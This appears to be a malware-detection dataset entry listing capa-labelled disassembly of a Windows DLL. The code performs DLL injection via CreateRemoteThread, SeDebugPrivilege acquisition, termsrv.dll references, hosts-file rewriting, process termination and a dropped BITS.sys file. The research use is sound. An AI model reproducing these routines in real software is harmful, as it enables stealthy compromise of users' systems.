joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10026d20
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x118
push ebx
mov ebx, dword [esp + 0x120]
push ebp
push esi
mov eax, dword [ebx]
mov ebp, dword [ebx + 4]
push edi
mov edi, ecx
lea ecx, [esp + 0x24]
push 0x104
push ecx
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [edi + 0x128]
lea eax, [esp + 0x24]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 3
push 0
push 2
lea ecx, [esp + 0x38]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x10]
push 0
mov esi, eax
push edx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0x130]
lea eax, [esp + 0x20]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push 9
add eax, ebp
push ecx
mov ecx, edi
mov byte [esp + 0x1c], 0x70
mov dword [esp + 0x1d], edx
mov dword [esp + 0x21], eax
call fcn.10010b00
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x118
ret 8

Function at 0x10026e30
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x20c
push ebx
lea eax, [esp + 8]
push str._termsrv_t.dll
mov dword [esp + 8], ecx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
lea ecx, [esp + 0x10c]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 8]
lea eax, [esp + 0x10c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x400
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x10c]
mov ebx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10026ea8
lea edx, [esp + 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x10026f00
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
lea eax, [esp + 0x10]
push edi
push eax
mov byte [ebx], 0xa4
call ebp
lea ecx, [eax + eax + 2]
lea esi, [esp + 0x14]
mov edx, ecx
lea edi, [ebx + 1]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebp
lea esi, [eax + eax + 3]
push 0x42
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ecx, dword [esp + 0x10]
mov edi, eax
push esi
push edi
call fcn.10010b00
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20c
ret
Function at 0x10026f10
Capabilities:
Get common file path

Disassembly:
sub esp, 0x110
push esi
xor eax, eax
mov esi, ecx
mov dword [esp + 4], eax
lea ecx, [esp + 0x10]
mov dword [esp + 8], eax
push 0x104
push ecx
mov byte [esp + 0x14], al
mov byte [esp + 0xc], 0x70
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esi + 0x128]
lea eax, [esp + 0x10]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 2
push 0
push 2
lea ecx, [esp + 0x24]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x10026f8c
mov dword [esi + 0x230], 0
mov dword [esi + 0x234], 0
pop esi
add esp, 0x110
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 4]
push 9
push edx
mov ecx, esi
call fcn.10010b00
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
add esp, 0x110
ret

Function at 0x10026fc0
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
lea eax, [esp]
mov dword [esp], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 4], 5
jne 0x10026fed
mov ecx, dword [esp + 8]
mov eax, 1
cmp ecx, eax
je 0x10026fef
xor eax, eax
add esp, 0x9c
ret

Function at 0x10027050
Capabilities:
Enumerate process modules

Disassembly:
sub esp, 0x224
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov ecx, 0x88
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], ebp
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x238]
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0x10]
mov esi, eax
push ecx
push esi
mov dword [esp + 0x18], 0x224
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x100270d3
mov edi, dword [esp + 0x23c]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea edx, [esp + 0x130]
push edi
push edx
call ebx
test eax, eax
je 0x100270cf
lea eax, [esp + 0x10]
push eax
push esi
call sub.KERNEL32.dll_Module32Next
test eax, eax
je 0x100270d3
lea ecx, [esp + 0x130]
push edi
push ecx
call ebx
test eax, eax
jne 0x100270b1
mov ebp, dword [esp + 0x2c]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x224
ret
Function at 0x100270f0
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x1c
push esi
mov esi, dword [esp + 0x28]
test esi, esi
push edi
jne 0x10027105
pop edi
xor al, al
pop esi
add esp, 0x1c
ret
mov eax, dword [esp + 0x28]
push eax
push 0
push 0x2a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x10027122
pop edi
xor al, al
pop esi
add esp, 0x1c
ret
mov cl, 0x65
mov al, 0x72
mov byte [esp + 0x15], cl
mov byte [esp + 0x18], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
lea ecx, [esp + 0x14]
mov dl, 0x6c
push ecx
mov byte [esp + 0x18], 0x6b
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], 0x6e
mov byte [esp + 0x1d], dl
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x22], dl
mov byte [esp + 0x23], dl
mov byte [esp + 0x24], 0
mov byte [esp + 0xc], 0x46
mov byte [esp + 0xd], al
mov byte [esp + 0x10], 0x4c
mov byte [esp + 0x11], 0x69
mov byte [esp + 0x12], 0x62
mov byte [esp + 0x13], al
mov byte [esp + 0x14], 0x61
mov byte [esp + 0x15], al
mov byte [esp + 0x16], 0x79
mov byte [esp + 0x17], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea edx, [esp + 8]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push esi
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
jne 0x100271d7
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor al, al
pop esi
add esp, 0x1c
ret
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push esi
call edi
pop edi
mov al, 1
pop esi
add esp, 0x1c
ret

Function at 0x10027200
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push esi
xor esi, esi
push edi
push esi
push 2
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [esp + 8]
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1002726a
push ebx
mov ebx, dword [esp + 0x138]
mov ecx, dword [esp + 0x14]
push ebx
push ecx
call fcn.10027050
add esp, 8
test eax, eax
je 0x1002725a
mov edx, dword [esp + 0x14]
push eax
push edx
call fcn.100270f0
add esp, 8
and eax, 0xff
mov esi, eax
lea eax, [esp + 0xc]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10027233
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
test esi, esi
setne al
pop esi
add esp, 0x128
ret
Function at 0x10027290
Capabilities:
Acquire debug privileges
Enumerate gui resources
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp]
push str._termsrv.dll
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
push str.SeDebugPrivilege
call fcn.1001b7a0
lea edx, [esp + 8]
push edx
call fcn.10027200
add esp, 0xc
test al, al
je 0x1002735b
push ebx
push edi
push 0
push str.SeDebugPrivilege
call fcn.1001b7a0
push 1
push str.SeShutdownPrivilege
call fcn.1001b7a0
add esp, 0x10
push str.csrss.exe
call dword [sym.imp.KERNEL32.dll_GetProcessId]
mov ebx, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownA]
push 0
mov edi, eax
call ebx
test eax, eax
jne 0x1002734a
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
mov esi, dword [sym.imp.USER32.dll_EnumWindows]
push str.drwtsn32.exe
call dword [sym.imp.KERNEL32.dll_GetProcessId]
test eax, eax
je 0x10027334
push eax
push 0x10027000
call esi
push edi
push 0x10027000
call esi
push 0xa
call ebp
push 0
call ebx
test eax, eax
je 0x1002731d
pop esi
pop ebp
push 0
push str.SeShutdownPrivilege
call fcn.1001b7a0
add esp, 8
pop edi
pop ebx
add esp, 0x104
ret

Function at 0x10027370
Capabilities:
Start service

Disassembly:
push edi
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x100273b5
mov eax, dword [esp + 8]
push ebx
push esi
push 0x10010
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x100273b0
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
call ebx
push edi
call ebx
pop esi
pop ebx
pop edi
ret
Function at 0x100291a0
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
push 0
mov eax, dword [esi + 0x120]
mov dword [esi], 0x100b79dc
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [esi + 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, esi
call fcn.10010a10
pop esi
ret

Function at 0x10029260
Capabilities:
Acquire debug privileges
Enumerate threads
Resume thread

Disassembly:
sub esp, 0x1c
push ebx
push esi
push edi
push 1
push str.SeDebugPrivilege
call fcn.100291d0
mov eax, dword [esp + 0x34]
add esp, 8
mov dword [esp + 0xc], 0x1c
mov edi, dword [eax]
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0xc]
mov esi, eax
push ecx
push esi
call sub.KERNEL32.dll_Thread32First
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x100292d4
cmp dword [esp + 0x18], edi
je 0x100292b6
lea edx, [esp + 0xc]
push edx
push esi
call sub.KERNEL32.dll_Thread32Next
jmp 0x100292a3
mov eax, dword [esp + 0x14]
push eax
push 0
push 0x1f03ff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push edi
call ebx
push esi
call ebx
pop edi
pop esi
pop ebx
add esp, 0x1c
ret 8

Function at 0x100292e0
Capabilities:
Acquire debug privileges
Enumerate threads
Suspend thread

Disassembly:
sub esp, 0x20
push esi
push edi
push 1
push str.SeDebugPrivilege
call fcn.100291d0
mov eax, dword [esp + 0x34]
add esp, 8
mov dword [esp + 0xc], 0x1c
mov ecx, dword [eax]
push 0
push 4
mov dword [esp + 0x34], ecx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea edx, [esp + 0xc]
mov esi, eax
push edx
push esi
mov dword [esp + 0x10], esi
call sub.KERNEL32.dll_Thread32First
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1002936f
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_OpenThread]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_SuspendThread]
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x20]
cmp ecx, eax
jne 0x1002935e
mov ecx, dword [esp + 0x1c]
push ecx
push 0
push 0x1f03ff
call ebx
mov esi, eax
push esi
call ebp
push esi
call edi
mov esi, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
push esi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x10029338
pop ebp
pop ebx
push esi
call edi
pop edi
pop esi
add esp, 0x20
ret 8
Function at 0x10029650
Capabilities:
Get common file path
Get file size
Read file on windows
Set file attributes

Disassembly:
sub esp, 0x110
push ebp
push esi
mov dword [esp + 0xc], ecx
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
push 0x104
push eax
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x18]
test eax, eax
mov edi, str._sysnativedriversetchosts
jne 0x100296b2
mov edi, str._system32driversetchosts
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 4
push 0
push 1
lea ecx, [esp + 0x2c]
push bind
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10029773
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
lea edx, [ebp + 2]
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea eax, [esp + 0x14]
push 0
push eax
lea ecx, [esi + 1]
push ebp
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10029750
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
add esp, 0x110
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
mov byte [esi], 0x96
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [esp + 0x10]
push eax
push esi
call fcn.10010b00
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
add esp, 0x110
ret
Function at 0x10029780
Capabilities:
Get common file path
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x10c
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
mov dword [esp + 0x10], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x14]
test eax, eax
mov edi, str._sysnativedriversetchosts
jne 0x100297de
mov edi, str._system32driversetchosts
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x18]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 2
push 0
push 2
lea ecx, [esp + 0x28]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1002985b
mov eax, dword [esp + 0x120]
mov ecx, dword [esp + 0x11c]
lea edx, [esp + 0x10]
push 0
push edx
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
add esp, 0x10c
ret 8

Function at 0x10029870
Capabilities:
Terminate process

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0x10]
push esi
push edi
mov edi, ecx
xor esi, esi
test ebx, ebx
mov dword [esp + 0xc], edi
jbe 0x100298b5
push ebp
mov ebp, dword [esp + 0x18]
mov eax, dword [esi + ebp]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, ebx
jb 0x10029889
mov edi, dword [esp + 0x10]
pop ebp
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, edi
call fcn.100294c0
mov ecx, edi
call fcn.1002ab90
pop edi
pop esi
pop ebx
pop ecx
ret 8
Function at 0x1002a0c0
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x2c
xor eax, eax
lea ecx, [esp + 0xc]
mov dword [esp], eax
push ecx
mov dword [esp + 8], eax
mov byte [esp + 4], 3
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x30]
lea ecx, [esp]
push 0xc
push ecx
mov ecx, dword [esp + 0x3c]
mov dword [esp + 9], edx
mov dword [esp + 0xd], eax
call fcn.10010b00
add esp, 0x2c
ret

Function at 0x1002a290
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 8
push ebx
push esi
lea ecx, [esp + 0xc]
push edi
lea edx, [esp + 0xc]
push ecx
push edx
xor eax, eax
push 5
push 0xffffffffffffffff
push eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x1002a326
mov edx, dword [esp + 0xc]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
mov ebx, dword [esp + 0x18]
push edx
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.WTSAPI32.dll_WTSFreeMemory
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x1002a31a
mov edi, 0x101201ec
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 8
ret
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 8
ret
mov edi, 0x101201ec
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
xor eax, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 8
ret
Function at 0x1002af00
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x110
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
mov dword [esp + 0xc], 1
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 4]
mov dword [esp + 8], 0x50
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 8]
lea edx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp + 0x10]
push edx
push eax
push 0
push str.Favorites
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x2710
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x1012d304], eax
mov byte [eax], 0x94
lea eax, [esp + 0x10]
mov dword [0x10120138], 1
push eax
call fcn.1002ac20
mov ecx, dword [0x10120138]
mov edx, dword [0x1012d304]
add esp, 4
push 0x42
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov dword [0x1012d304], eax
pop edi
add esp, 0x110
ret
Function at 0x1002bec0
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.CreateEventA
push str.KERNEL32.dll
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0
push 0
push 0
push 0
call eax
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x34]
lea edx, [esp + 0xc]
push eax
mov eax, dword [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x28]
push edx
push 0x1002bdc0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push str.WaitForSingleObject
push str.KERNEL32.DLL
mov ebx, eax
call esi
push eax
call edi
mov edx, dword [esp + 0x18]
push 0xffffffffffffffff
push edx
call eax
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x10
ret

Function at 0x1002bf60
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push esi
push edi
xor eax, eax
mov ecx, 0x49
lea edi, [esp + 0x10]
mov dword [esp + 0xc], 0
push eax
rep stosd dword es:[edi], eax
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x1002bfd6
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1002bfcf
mov edi, dword [esp + 0x138]
mov ebx, dword [sym.imp.MSVCRT.dll__stricmp]
lea ecx, [esp + 0x30]
push edi
push ecx
call ebx
add esp, 8
test eax, eax
je 0x1002bfe2
lea edx, [esp + 0xc]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1002bfb1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x128
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebx
add esp, 0x128
ret
Function at 0x1002c180
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x13c
push esi
push edi
mov ecx, 0xa
mov esi, str.C:ProgramDataMicrosoft_DriveBITS.sys
lea edi, [esp + 0x40]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
push eax
mov ecx, 0x37
lea edi, [esp + 0x6c]
push 0x80
push 4
push eax
rep stosd dword es:[edi], eax
push 2
lea eax, [esp + 0x54]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, dword [esp + 0x14c]
lea ecx, [esp + 8]
push 0
push ecx
push esi
mov edi, eax
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [str.TGByteSetup]
mov eax, dword [0x100fb06c]
mov ecx, dword [0x100fb070]
mov dword [esp + 0xc], edx
mov dl, byte [0x100fb074]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ecx
mov ecx, 9
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], dl
push 0
rep stosd dword es:[edi], eax
push esi
stosb byte es:[edi], al
call dword [0x1012d308]
push eax
push esi
push 1
lea eax, [esp + 0x1c]
push str.BITS
push eax
push reloc.WS2_32.dll_accept
call fcn.10014ca0
add esp, 0x1c
pop edi
pop esi
add esp, 0x13c
ret